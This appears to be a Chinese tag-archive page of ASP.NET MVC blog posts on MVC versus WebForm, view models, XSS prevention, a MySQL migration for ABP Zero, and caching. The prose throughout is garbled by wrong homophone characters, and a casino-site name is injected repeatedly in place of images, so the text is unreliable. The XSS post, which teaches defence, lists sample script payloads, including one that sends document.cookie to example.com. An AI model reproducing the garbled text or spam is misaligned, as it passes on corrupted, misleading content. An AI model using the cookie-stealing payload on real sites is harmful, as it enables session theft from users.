标签归档ASP.NET MVC

ASP.NET MVC与ASP.NET WebForm

     ASP.NET
MVC是微软公司之平等慢性WEB开发框架,整合了“模型-视图-控制器”架构的速与干净,是很快开发极现代之合计以及技能。它是传统ASP.NET
WebForm的一个全面的替代品。

1、当今的Web开发

    
1)REST(Representational State
Transfer)已经化为应用程序在HTTP上互操作的要害系架构,完全使SOAP失色。REST是根据代表真实世界实体的资源(URI)和代表以这些资源达到可用的正统操作方法(HTTP方法)来叙述一个应用程序。经HTTP方法及资源地址的构成就可针对资源执行相应的操作,这种结合就是REST,执行这种操作的乞求也叫做REST化的恳求。(对于REST的晓个人还是不透,后面会对这概念进行补偿)

当前底Web应用程序不只是供HTML服务,通常为急需用XML或JSON数据提供被用户,而WebForm很为难支撑。

    
2)整个软件行业向着敏捷和测试驱动开发方向的进化,如单元测试工具(NUnit、xUnit)、模仿框架(Moq、Rhino、Mocks)、控制反转容器(Ninject、AutoFac)、持续集成服务器(CruiseControl、TeamCity)、对象关联映射器(NHibernate、Subsonic、EF、Dapper、Petapoco)、UI自动化工具的提供。(测试驱动开发TDD思想:首先描述想如果抱的作为范例,称为测试规范;然后开展软件设计,这样经过实践依附于这同实现的一律法测试,来证实应用程序的安定以及不易

    
3)顺应Web标准以及REST化的取向。

2、ASP.NET WebForm的史及题材

    
ASP.NET WebForm的技能堆栈,如下图所示:

    
图片 1

    
此图的义是WebForm建立于ASP.NET之上,而ASP.NET又建立以.NET平台之上,MVC框架所从的作用是代表WebForm。

    
WebForm的计划思想是,让Web开发在发上同Windows
Form开发同。开发者不再用为同样多重独立的HTTP请求和响应进行工作,可以当它们是相同种植状态化的UI,人们得以淡忘WEB及其无状态本质,转而用一种植“拖–放”式设计器来创造UI,并设想所有业务都有在服务器上。

    
乘机年华的推,WebForm在实质上项目面临冒出了有缺陷:

    
1)视图状态重负:维护状态的实际上机制,也尽管是ViewState(视图状态)导致在客户端与服务器之间传输大块数据(达到几百KB),而且来回于每次要中,导致响应时间十分缓慢,增加了服务器的拉动富需求;

    
2)页面生命周期:连接客户端与劳动器端事件处理器代码的体制很复杂,对于应用程序运行中生麻烦展开保障;

    
3)关注分离之荒谬看法:本身将代码从HTML提取出来,放到后台代码类吃进行处理是殊一致种怪好之法,但是一些开发者在后台代码中将展现代码和运工作逻辑混合在一起,导致最终代码乱并难以保障;

    
4)HTML的受限控制:服务器控件将团结渲染成HTML,但连无是所企望看到底HTML,在ASP.NET
4之前,并无可知十分好之采用CSS。同时会生成不可预知或复杂的ID,这样JavaScript就好为难展开走访。

    
5)有瑕疵的纸上谈兵:WebForm试图尽量隐去HTML和HTTP(这是通过WebForm的空洞层实现之)。当您兑现协调之艺术时,需要放弃这种肤浅,迫使采取回发事件机制的逆向工程。所以这种肤浅对于开发者而言就成一个特大的阻力与挑战;

    
6)低而测试性:WebForm的这种紧耦合体系布局并无入吃单元测试,对于集成测试为不行富有挑战性;

3、ASP.NET
MVC的特点

    
1)ASP.NET
MVC框架实现了MVC模式(MVC模式于1978年尽管曾领到出来了),由于ASP.NET
MVC极大的改进了关切分离,所以特地适用于Web应用程序。因为与MVC应用程序的竞相遵循着用户动作以及视图更给之当然周期,在这个周期被,假设视图是无状态的。这与支持Web应用程序的HTTP请求和应措施要命契合。

    
2)可扩展性,MVC框架被构建成同层层独立的零部件,如路由于系统、视图引擎、控制器工厂,你可以非常易地用一个协调的差实现来替换这些零部件,通常有三种植选择:

         
a、使用组件现行的默认实现,此种植好满足大多数应用程序;

         
b、派生默认实现之一个子类,以调整其一言一行;

         
c、用接口或者抽象基类的一个新的实现来完全替换该零件;

    
3)HTML和HTTP上之严密控制,ASP.NET
MVC会时有发生整洁和正规相当的记,其坐的HTML辅助器方法,可以发和正统相当的输出。ASP.NET
MVC生成的页面不分包其他ViewState数据,这种针对带宽的节约,可以极大的精益求精用户之体验,并且可本着浏览器和服务器之间传递的伸手加以控制。

    
4)可测试性,ASP.NET
MVC应用程序不仅可拓展单元测试,还可以跟UI自动化测试工具良好合作。

    
5)强大的路由系统,采用REST风格的路由方案,有如下好处:

    
     a、搜索引擎对URL中找到的重大词起肯定的权重,对同样的要词之探寻,极生或会见转化一个较为简单的URL地址;

         
b、许多Web用户现在本着URL有足的会心,并且愿意在浏览器的地点栏目中输入URL地址;

         
c、当知道URL地址之布局后,人们才见面还发出或链接它,并通往其他人共享;

         
d、此种URL结构并无见面以应用程序的技术细节、文件夹、文件名称等组织暴露于互联网。对于底层实现好随便修改,而休会见毁掉链接;

    
6)建立在ASP.NET平台之上,一方面ASP.NET
MVC是基于.NET平台的,因此得以活的动任何.NET语言来修代码,可以动用大的.NET类库和大量之老三方.NET类库系统;另一方面,已经形成的ASP.NET平台特色,如认证、成员、角色、配置文件、国际化等好削减开支以及维护Web应用程序所急需之代码量。

    
7)ASP.NET MVC是针对.NET
4.X如建立之,因此它们的API可以充分利用当前语言与运转时之翻新,如await关键字、扩展方法、lambda表达式、匿名、动态类型、LINQ。

    
8)ASP.NET MVC是开源的。

4、ASP.NET
MVC与ASP.NET WebForm的比较

    
首先要验证的是,虽然ASP.NET MVC相对于ASP.NET
WebForm来说出部分优势,但迅即并无意味前者要替代后者,也非代表后者要没有。

  • WebForm的历史观是,UI应该是状态化的,其结果是,在HTTP和HTML之上添加一个抽象层,用视图状态(ViewState)和回发(Postback)来创造状态化的效用。这是千篇一律种植“拖放”式Windows
    Form风格的付出。

  • MVC采纳了HTTP真正无状态的本来面目。MVC框架要求用户了解Web应用程序实际的办事法,在亮的前提下,进行保障与壮大,提供平等栽功能强大、简单的、整洁的、现代的艺术来编排Web应用程序,摆脱复杂的限制。

  • 故说,开发小型的,企业里型应用程序,可以设想下WebForm的点子来促成,但又多的时候,开发互联网应用程序或者大型的应用程序时,MVC无论从效率、兼容性、维护性都是同一栽更好之选料。

参考资料:《精通ASP.NET MVC X》

世界模型(DomainModel)与视图模型(ViewModel)

   
Model-View-Controller(模型-视图-控制器,MVC)模式将你的软件组织并解释成三只精光不同之角色:

  • Model
    封作了若的应用数据、应用流程和事情逻辑。
  • View
    从 Model 获取数据并格式化数据因进行展示。
  • Controller
    控制次流程,接收输入,并拿它传递给 Model 和 View。

   
与另设计模式不同,MVC
模式并从未一直反映一个若可知编写或部署的类组织。相反,MVC
更像一个概念上之指导标准还是范型。概念上之 MVC 模式给描述为老三单对象 ——
Model、View 和 Controller —— 之间的涉。由于 View 和 Controller
都好从 Model 请求数据,所以 Controller 和 View 都依靠
Model。任何输入还通过 Controller 进入你的系统,然后 Controller 选择一个
View 来闹结果。

    Model
包含了卿的应用逻辑和数据,在公的应用程序中,它好可能是主要的值驱动器。Model
没有其余和表现层相关的特色,而且也同 HTTP
请求处理职责被全无关。

    Domain
Model
是一个对象层,是对准现实世界逻辑、数据及汝应用程序所拍卖的问题之泛。

    Domain
Model 可分为两那个类:Simple Domain Model 和 Rich Domain Model。

  • Simple Domain Model
    往往是事情对象和数量库表之间一对一的通信。你既表现了的几乎栽模式 ——
    Active Record、Table Data Gateway,以及 Data
    Mapper,所有这些和数据库相关的设计模式 ——
    可以助您将同数据库相关的逻辑组织改为一个 Domain
    Model。
  • Rich Domain
    Model 包含复杂的,使用持续机制紧密联系在共的目标网络,在本书和 GoF
    一修被牵线的重重模式由在杠杆作用。Rich Domain Models
    往往是柔性的,精心测试了之,不断重构的,而且和它所表达的天地所要的事务逻辑严谨耦合。

   
采用哪种 Domain
Model 类型取决于你的应用环境。如果您方成立之是一个非常简单的表单处理
web 应用,没必要建立 Rich Domain
Model。然而,如果您在编写一个价数百万之信用社外联网架构的骨干库,那么拼命付出一个
Rich Domain Model
就是值得的,它好啊您提供一个可靠表达业务过程的平台,并可以为您快传输数据。

    Martin
Fowler 在 PoEAA 中同时省略介绍了区区种 Domain Model。而 Eric Evans 的
Domain Driven Design 一书写,则完全专注于 Rich Domain Model
的推行应用及开发过程。

    View
用于拍卖所有表现层方面的题目。View 从 Model
获取数据,并可管其格式化成用于 web 页的 HTML,用于 web 服务之
XML,或用于 email 的文件。

   
许多的MVC模式之落实为都以一个View Model或Application
Model的定义,Controller是维系的介绍人,架自世界模型和用户界面内的大桥,属于表现层。为View的简单性,Controller负责处理或将世界模型转换成为一个View
Model,这一般号称数据传对象(DTO)

    DomainModel != ViewModel

   
DomainModel代表正在相应的域,但ViewModel却是吗View的消而创立。这两者之间或许(一般情形下都)是差之,此外DomainModel是数量增长行为的组合体,是由于复杂的变量类型组成的同时具有层次。而ViewModel只是由于一些String等简单变量类型组成。如果想移除冗余并且爱造成差的ORM代码,可以行使AutoMapper.如果想使打听再多。

   
那领域模型(Domain Model
)和视图模型(View Model)有啊两样啊?

   
在ASP.NET MVC的应用程序中时常可以好望View
Model,经常我们还看世界模型与视图模型是暨一个物。这特别是将世界模型包含在数量传对象DTO里的时,例如利用Entity
Framework之类的ORM工具转的实体。在这种情景下,领域模型与视图模型包含的实业非常相似,都是一对略的CRUD操作。

   
这些实体有那么些性质,有一致或接近之称,你得生容易地映射领域实体对应视图模型中之一个性能。不过,这些相似的性质也说不定略有不同,例如类型或者格式。例如,用户填写的用户界面的一个特性,他于视图模型里或是一个“Nullable”的。

   
另一方面,领域实体可能得一个经证实的官方的价,所以需要一个以用户界面的小圈子模型中的更换。另一个例子是,用户界面可能会见显得一个滑块,用于用户挑选多少天过后提交他的订单。在这种场面下,视图模型或使一个整数性来表示,领域模型通常是一个日期值。

   
视图模型通常只是含领域模型的一个子集,而且只有含有界面及所急需之性质。此外,视图模型或是一个天地模型树的扁平本,例如,一个Customer实体有一个Address,而立同时是一个完全,它蕴含街道地址,邮政编码,国家等。一个Customer
视图模型用于展示数据,将地点数据拉平填充到视图模型类里。

   
此外如果一个View需要而处理几乎只世界模型,View
Model就是就几乎独Domain
Model的总数。领域模型与视图模型中产生众多形似的地方,我们常干脆就将Domain
Model当作View Model来以了。
   
上面讨论了世界模型和视图模型的相似性,我们来探视都发生几种植方式将世界模型转换为视图模型,通常有3栽办法:

  • 拿世界模型作视图模型来用,也即是天地模型就是视图模型,大部分还是如此用之。
  • 视图模型中包含一个领域模型,定义一个视图模型,里面含了一个世界模型,通过性能方式展开走访。
  • 以世界模型映射到视图模型,领域模型并无一直照射到视图模型,需要处理这种映射关系。

   
我们无建议直接将世界模型实体暴露于视图,因为来众多细微的处,可能导致你混合业务与象征层的逻辑,无论是领域实体的特性显示还是工作的辨证规则,这都是应用程序处理的不等地方。

   
直接拿您的世界模型作Conroller上之处理参数面临着安全风险,因为Controller或者Model
binder必须确保属性验证和用户不可知改改它自己无可知修改的属性(例如,用户手动更新了一个藏的输入值,或增一个格外的属性值,而这个并无是界面及之素,但可凑巧领域模型实体的特性,这种风险叫做“over-posting”),即使对现阶段本的世界模型做了无可非议的认证,领域模型前说不定做了反修改,并从未起编译错误或警告,可能致新的高风险。
   
咱们应避免使用前片栽办法以世界模型转换成视图模型,推荐下第三种方式,定义单独的视图模型类。开这种领域模型到视图模型的转移工作是均等种植重复性的工作,已经发生几只器得以助您来就这项工作。最常用之一个工具就是.NET
社区的开源项目AutoMapper。

 (村办理解:针对域模型与视图模型,有时候要看现实的事务场景,一般景象下足随上述将DomainModel和ViewModel进行数量映射,以避免有安全性问题;但是呢足以拿DomainModel当成ViewModel来行使与否是可以的,通过当系实现、业务逻辑操作和判及是得保工作安全性的。就是前者也只要开展判定坐保安全性。所以,还是看现实工作体系的运条件暨要求来控制运用哪种方法来促成。

 

章转载自:http://www.cnblogs.com/shanyou/archive/2010/04/03/1703501.html

Web安全息息相关(一):跨站下论攻击(XSS)

简介
  跨站脚论攻击(Cross
Site Scripting),为不与层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将超越站下论攻击缩写为XSS。恶意攻击者往Web页面里安插恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会为实施,从而达到恶意攻击用户之奇异目的,比如取用户的Cookie,导航及黑心网站,携带木马等。

局部景

  1.
黑心攻击者可于个人介绍其中插入恶意代码,那么其他用户访问他的个人信息时,就会尽恶意代码。
  2.
恶心攻击者可载一首文章,取一个诱惑眼球的标题,在内容里插恶意代码,那么用户查看这篇稿子时,就见面实行恶意代码。
  3.
恶意攻击者在局部紧俏文章要帖子里之恢复或留言中插恶意代码,那么用户浏览到外的复原或留言时,就见面实行恶意代码。

严防XSS的少只号

  1.
交由数据时,就对准数据开展求证,如果带有恶意脚本,则未深受多少进库,ASP.NET
MVC默认是碰头举行这个证明。如下图,如果准备插入恶意脚本,就见面沾一个HttpRequestValidationException。注:图2红色框中之办法后续会干。

    
个人档案 1

                  图1

    
个人档案 2

                  图2

  如果我们要允许下论入库,可以当相应的Action上丰富[ValidateInput(false)]。此时恶意脚论还无克发威慑,因为还有后面一个号的预防措施。

     
个人档案 3

                  图3

     
个人档案 4

                   
图4

 2.
出口数据经常,对出口的情以HTML编码,恶意脚论不会见受实践。而且,MVC的Razor语法默认就使用HTML编码。但是倘若我们应用Html.Raw()来输出内容之言辞,恶意脚本就会出威慑。

     
个人档案 5

                 图5

    
个人档案 6

                 图6

 一些黑心脚本

  1.
简便的弹窗或者内容展示。
  <script>alert(‘你受不法了!’)</script>
 
  2.
导航及黑心网站。注:这里只是以百度网站作为导航演示,并无是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

 $.ajax数据证实失效?

  我们设我们的求是无允许含有恶意脚本的数量进库的,但是咱采取了jquey的ajax进行互。

     
个人档案 7

                图7

     
个人档案 8

                图8

     
个人档案 9

                图9

     
个人档案 10

              图10

  数据还是进库,为什么吗?我们来研讨下图2红框中之方。

     
个人档案 11

                图11

     
个人档案 12

                图12

  从图12受,我猜测MVC会对Request中之如上内容开展说明,可是jquery
ajax的数目是在Request的Content里面的,因此,默认的证实对jquery
ajax并不曾效果。

 $.ajax数据证实实现

  要针对$.ajax进行多少说明,我起ModelBinder下手。具体代码如下:

 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }

  然后在Global.asax.cs中注册AjaxModelBinder。

个人档案 13

              图13

  那么,输入数据产生黑心脚本时便会见让检测出。

 个人档案 14

                图14

  关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。

 个人档案 15

                  图15

AntiXSS第三在组件

  如果使用.Net4.0以及以上的本子,那么就非需引入AntiXSS,因为.Net
4.0早就把AntiXSS集成进来了。如果是别版本则用引入。

源码下载

  为了方便使用,我并未运用其它数据库,而是用了一个文本来储存数据。代码下载后可一直运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  个人档案 16

 

文章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

2、ABPZero系列教程之拼多多卖家工具 更改数据库也Mysql

 

  因为一旦布局项目到讲话服务器,不思以服务器上装SqlServer,所以用把种改变吧Mysql。

种初始化

  1、下载类压缩包,前面文章已经说到,可以加群到很多文件里下载。解压缩下载的类别源码,使用VS2015开辟项目

 

澳门新葡亰官网 1

 

此地用还原包,选择解决方案—右键(还原NuGet包),现在重操旧业NuGet包比前不久了好多矣,这还是微软重视中国开发者的功。

 

澳门新葡亰官网 2

 

保证还原好了随后,点击解决方案还生成一不行。可以看来项目特别成成,接下进入修改Mysql数据库步骤。

流淌:如果您莫思量采取Mysql数据库,可以过了以下部分步骤,直接入数据库创建步骤。

安装Mysql包

在此之前先安装Mysql数据库,电脑上安装Mysql数据库,确保电脑可成功连接Mysql数据库。

Mysql免安装版环境布置图文教程:http://www.jb51.net/article/83636.htm

 

然后安装Mysql的保,EntityFramework和Web项目还亟需安装

澳门新葡亰官网 3

 

高达图备受一度围绕有该装置之NuGet包跟安装到谁项目,这里选择6.9.10本

Web项目

打开web.config修改连接字符串

<connectionStrings>
    <!--<add name="Default" connectionString="Server=localhost; Database=AbpZeroTemplate; Trusted_Connection=True;" providerName="System.Data.SqlClient" />-->
    <!-- Mysql连接字符串-->
    <add name="Default" connectionString="Data Source=localhost;port=3306;Initial Catalog=pdddb3.4;uid=root;password=ab12;Charset=utf8" providerName="MySql.Data.MySqlClient" />
    <add name="Abp.Redis.Cache" connectionString="localhost" />
  </connectionStrings>

 

安装Mysql驱动

安装Mysql的使,驱动版选择与上面安装的保一样的本
俾下载地址:https://dev.mysql.com/downloads/connector/net/

澳门新葡亰官网 4

 

澳门新葡亰官网 5

下载后一直下一样步安装就可以了。

EntityFramework项目

修改EntityFramework项目下的Configuration构造函数

文本路径:D:\abp
version\aspnet-zero-3.4.0\aspnet-zero-3.4.0\src\MyCompanyName.AbpZeroTemplate.EntityFramework\Migrations\Configuration.cs

public Configuration()
        {
            AutomaticMigrationsEnabled = false;
            ContextKey = "AbpZeroTemplate";
            //加入以下代码
            SetSqlGenerator("MySql.Data.MySqlClient", new MySql.Data.Entity.MySqlMigrationSqlGenerator());//设置Sql生成器为Mysql的
        }

 

 

AbpZeroTemplateDbContext类上加以相同句特性

文本路径:D:\abp
version\aspnet-zero-3.4.0\aspnet-zero-3.4.0\src\MyCompanyName.AbpZeroTemplate.EntityFramework\EntityFramework\AbpZeroTemplateDbContext.cs

[DbConfigurationType(typeof(MySql.Data.Entity.MySqlEFConfiguration))]
    public class AbpZeroTemplateDbContext : AbpZeroDbContext<Tenant, Role, User>
    {

 

 

重复转迁移文件

至今代码就加好了,重新转迁移文件,可以望项目本来就在许多迁文件,我们不要这些文件,自己再次转。

澳门新葡亰官网 6

 

去完剩下Seed目录及Configuration文件

 

澳门新葡亰官网 7

 

注:先安装Web项目也启动项目

 

澳门新葡亰官网 8

开辟VS的包管理控制台,并当管管理控制台被选取 .EntityFramework
项目作默认项目。然后以控制台中实行下发号施令:

Add-Migration "AbpZero_Initial"

澳门新葡亰官网 9

 

张上图黄色提示说明创建迁移文件成功

 

澳门新葡亰官网 10

 

再就是Migrations目录多矣一个文件,这个就是是刚创建的搬文件。

今公可动用下发号施令来创造数据库:

Update-Database

 

 澳门新葡亰官网 11

澳门新葡亰官网 12

 

 

具有的工作还早已好,现在而可以运作而的类别并运用MySQL数据库了。

这篇文书告诉你怎样启动项目,建议部署至IIS启动,以后的篇章中本人都因为IIS启动开展操作。

 http://www.cnblogs.com/shensigzs/p/6258835.html

 

归来总目录

澳门新葡亰官网【ASP.NET MVC系列】浅谈缓存技术于ASP.NET中的行使

澳门新葡亰官网 1

【01】浅谈Google
Chrome浏览器(理论篇)

【02】浅谈Google
Chrome浏览器(操作篇)(上)

【03】浅谈Google
Chrome浏览器(操作篇)(下)

【04】浅谈ASP.NET框架 
 

【05】浅谈ASP.NET
MVC运行过程    

【06】浅谈ASP.NET MVC
控制器   

【07】浅谈ASP.NET MVC
路由   

【08】浅谈ASP.NET MVC
视图 

【09】浅谈ASP.NET MVC
视图与控制器传递数据

【10】浅尝辄止谈jqGrid 在ASP.NET
MVC中增删改查     

【11】浅谈ASP.NET
页面内传值的几种方式

【12】浅尝辄止谈缓存技术在ASP.NET中之采取 
     

【13】浅谈NuGet于VS中的使用 
    

【14】浅谈ASP.NET
程序发布过程         
 

【15】浅谈数注解和验证

【16】浅谈依赖注入

【17】浅谈HtmlHelper

【18】浅谈基于APS.NET身份验证

【19】浅谈ASP.NET MVC 模型

【20】浅谈ASP.NET MVC 单元测试

【21】浅谈ASP.NET MVC网络安全;

【22】浅谈ASP.NET MVC八生类扩展

【23】再谈ASP.NET MVC Routing

【24】浅谈ASP.NET 高级话题

【25】浅谈大型ASP.NET MVC项目(含DEMO)

【26】下一致雨后春笋:ASP.NET WebAPI

澳门新葡亰官网 2

本篇文章就是无发话架构,但是Cache又是搭中必备的有些,因此,在执教Cache的又,将会见提及到部分架构知识,关于架构部分,读者可不要理解,或者直接跳过,

卿独自待关注Cache即可,具体的架,会当继承文章中以及大家大快朵颐。

一样   为什么而于ASP.NET
项目被引入缓存

  1. 咱们先来考虑一个题材,通常,面临高并发问题经常,我们当怎么处理?

下图为正规的处理思路以及艺术

 澳门新葡亰官网 3

2.为什么引入Cache呢?

       
我们解,造成高并发的根本原因是大方读写的题材,一般地,对于一个网,读总是比写多,如我辈总是逛淘宝,京东,天猫,唯品会等,但我们并不一定买东西(买东西,即下单,下单的操作,对承诺DB的Write操作),缓存主要解决读之题目(当然,在晚期的稿子中,我会讲到信息队列MQ,也是平等种植缓存机制,其不仅解决读之问题,还解决写的题材)。

       
很好,我们解缓存主要解决读的题目,那么,我们念之东西很多,是休是缓存所有读的内容呢?答案是否定的。缓存主要解决那些频繁访问,吃服务器资源,实时性要求于没有,不常更新的内容。

老二   ASP.NET
缓存技术概述

 (一)ASP.NET缓存技术类

以ASP.NET实际项目开中,我们可使基本的老三种缓存技术:页面缓存、局部页面及数目缓存

澳门新葡亰官网 4

 1.整页缓存

 
所谓整页缓存,指缓存整个页面,且设置刷新间隔时间,刷新间隔时间一般以秒为单位(缓存不可知整个刷新,且刷新间隔不借助外部事件);

 2.组成部分页面缓存

 
 所谓部分页面缓存,也吃局部页面缓存,指经设定影响页面的参数,此时的缓存存储页面的大都独版,一般景象用按照参数值为这些页面版本设置索引;

 3.用程序缓存

 
 所谓用程序缓存,也吃数据缓存,指将用大量服务器资源的靶子存储于内存中,在ASP.NET中,由Cache类来促成(Cache类的每个实例对承诺切切实实的每个运用程序,

那生存期依赖让下程序的生存期,当然,如果系统重新开或者断电,则其它当别论。)

 (二)二级缓存技术

当ASP.NET一般的花色被,我们采取二级缓存就可缓解服务器缓存问题了,如下为二级缓存的轮廓图。

 澳门新葡亰官网 5

1.何也一级缓存?

 
 一级缓存,指非借助外部缓存的缓存,上图被之二级缓存去丢外部缓存部分即使为一级缓存;

 2.做:由Web服务器、数据库服务器和二级缓存系统结合;

 3.请求-处理流程:对于读数据,采用由内为他之逐条:内部缓存=》外部缓存=》数据库

   
(1)首涂鸦呼吁读数据:蓝色之箭头表示首不成呼吁,从数据库服务器DB中取得数据,并以数据缓存在二级缓存系统受;

   
(2)非首浅呼吁读数据:先打二级缓存内部缓存中取数据展示页面,如果没数量,则失去二级缓存外部缓存中取数据展示页面,若外部缓存中从不数据,则另行失去数据库服务器中取数据;

 澳门新葡亰官网 6

 (4)对于刻画多少,才出从外向内顺序:数据库=》外部缓存=》内部缓存(这样做的目的,主要是保障数据的一致性);

4.做二级缓存系统的标缓存系统,一般我们可挑选MongoDB,Redis,Mencached等;

5.基被SOA+Redis的之形似系统架构(当然,本篇文章不提架构,因此无会见分析架构,但会在继续的文章被单独教架构)

 澳门新葡亰官网 7

 6.如何保证数据的一致性?

 
对于读数据,采用自内往他的一一;对于刻画多少,采用从外向内的各个;

 7.缓存的有效期?

   
我们因为Memcached做表面缓存为例,对于ASP.NET内部缓存,我们见面担心内存不够用,而对此Memcached,则可以不要顾虑内存不够用的题材。

   
采用二级缓存方案,Memcaches缓存与ASP.NET缓存还如进行严格的管住以及控制,因为Memcached工作以外围,直接指向数据库中之数码开展读取,

都他的内存空间一般比充分,故她的缓存数据有效期应该依据缓存数据在采取中的实际缓存有效期来设定,不会见惨遭中不足使为放走的熏陶,而ASP.NET

缓存工作于内层,直接与利用程序中之数据开展互动,且ASP.NET框架对自缓存的内存空间有所限制,缓存空间了大会影响整运用的性质,为了当

相同之内存空间下缓存更多的多寡,ASP.NET缓存的有效期应该小于或等Memcached缓存的有效期,有效期具体多长时间视内存空间和运用程序访问

频率的高低而定,ASP.NET对许缓存数据的有效期的与不能够凌驾其当Memcached中之有效期,这样才能够达标缓存数据的一致性,两只缓存的协同工作

,可以本着采用程序的访问速度带啦很十分的升迁。

(三)缓存涉及到的片连锁技能

缓存是同帮派技术,不容许花较少的篇幅即可讲明白,如下简要列举部分Cache相关的技艺

澳门新葡亰官网 8

 

 1.Cahe维护

保安网络及的,本地的Cache;

2.路是因为政策

现实的路由策略要依据Cache架构和筹划来设定,大致讲解一下地方缓存路由政策

澳门新葡亰官网 9

 

3.替换算法

4.预取技术

5.Cache性能分析

借助于一些特性分析工具来分析,主要关心命中率/缓存对象大小之间关系

澳门新葡亰官网 10

 6.过期策略

合理设置过间隙,一般为秒为单位;

7.数额一致性

确保基本同步,读写多少的逐一等;

8.缓存级别

实际的级别,根据具体的业务需来设定;

9.Cache技术

磁盘缓存,存储器缓存,WWW服务器缓存等;

10.数额缓存技术

 客户端数据缓存,分布式数据缓存,集中式数据缓存等;

老三   Cache在ASP.NET
MVC中之应用

(一)整页缓存

1.ASP.NET
MVC中出哪整页缓存?

 整页缓存是一律栽比较简单且常用的缓存方式,缓存是页面。在ASP.NET中,整页缓存一般包括控制器缓存,Action缓存,Web.config缓存等;

2.争页面需要整页缓存?

 一般地,整页缓存页面具有“读取频繁,数据不常更新、编译时需要占用大量时与资源”等特点;

3.ASP.NET
MVC中整页缓存的语法格式

澳门新葡亰官网 11

 

4.例子

 (1)控制器缓存

控制器缓存指将缓存作用为控制器。

 PageCacheController.cs

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Web;
 5 using System.Web.Mvc;
 6 
 7 namespace CacheDemo.Controllers
 8 {
 9     [OutputCache(Duration = 70)]
10     public class ControllerCacheController : Controller
11     {
12         // GET: Default
13         public ActionResult ControllerCache()
14         {
15             
16             ViewBag.CurrentTime = System.DateTime.Now;
17             return View();
18         }
19     }
20 }
21  

PageCache.cshtml

1 @{
2     ViewBag.Title = "ControllerCache";
3 }
4 
5 <h2>ControllerCache</h2>
6 
7 <div>
8     ViewBag的值:@ViewBag.CurrentTime
9 </div>

Result:

澳门新葡亰官网 12

 

(2)Action缓存

Action缓存指把缓存作用于Action。控制方法缓存与控制器缓存原理差不多,只不过控制器缓存把缓存作用被控制器,控制器方法缓存把缓存作用被控制器方法。这里就未教了。

(3)Web.config缓存

Web.config缓存,有接触类似于我们用数据库连接字符串添加在布置文件一律,看看下面的代码,是否生熟悉呢?

<connectionStrings>
    <add name="SqlserverConstr" connectionString="Server=IP;db=DataBaseName;uid=UserName;pwd=Password" providerName="System.Data.SqlClient" />
  </connectionStrings>

Web.config将需要缓存的Controller或Action提取抽象到布置文件中,其实就相当给我们以数据库连接字符串,使用时,调用即可。

<system.web>
    <caching>
      <outputCacheSettings>
        <outputCacheProfiles>
          <add name ="WebConfiCache" duration="70"/>
        </outputCacheProfiles>
      </outputCacheSettings>
    </caching>
    <compilation debug="true" targetFramework="4.6.1" />
    <httpRuntime targetFramework="4.6.1" />
  </system.web>

我们将方的控制器缓存参数用Web.config来部署

 1 using System;
 2 using System.Collections.Generic;
 3 using System.Linq;
 4 using System.Web;
 5 using System.Web.Mvc;
 6 
 7 namespace CacheDemo.Controllers
 8 {
 9     //[OutputCache(Duration = 70)]
10     [OutputCache(CacheProfile = "WebConfiCache")]
11     public class ControllerCacheController : Controller
12     {
13         // GET: Default
14         public ActionResult ControllerCache()
15         {
16             ViewBag.CurrentTime = System.DateTime.Now;
17             return View();
18         }
19     }
20 }
21  

分析:

实质上一定简单,就作为数据库连接字符串来操作还是<appSetting>操作即可

澳门新葡亰官网 13

 (3)缓存依赖

预留读者朋友等去研究,比较简单。

(二)部分页面缓存

 部分页面缓存,也被页面部分缓存,主要解决在页面缓存中要常实时更新的平部分内容。

 页面部分缓存就是缓存页面的同样片段,而不是缓存整个页面,它适用于页面内某些部分或用更新的数目的情形,在常用页面部分缓存的技术下经常应用先用全体页面缓存,然后又交替页面被未欲缓存的有的。(用AJAX局部刷新来明)

(三)运用程序缓存

应用程序缓存是为此来储存和下程序有关的靶子,主要由Cache类来促成(命名空间System.Web.Caching),可以以编码的措施灵活地操纵缓存的操作。

澳门新葡亰官网 14

四   版权区

  • 感您的读,若发生不足之处,欢迎指教,共同学习、共同进步。
  • 博主网址:http://www.cnblogs.com/wangjiming/。
  • 太少一些文章用读、参考、引用、抄袭、复制与糊等多种道做而成为的,大部分呢原创。
  • 要你喜欢,麻烦推荐一下;如您来新想法,欢迎提出,邮箱:2098469527@qq.com。
  • 得转载该博客,但得著名博客来源。

于是MVC5+EF6+WebApi 做一个聊作用(三) 项目搭建

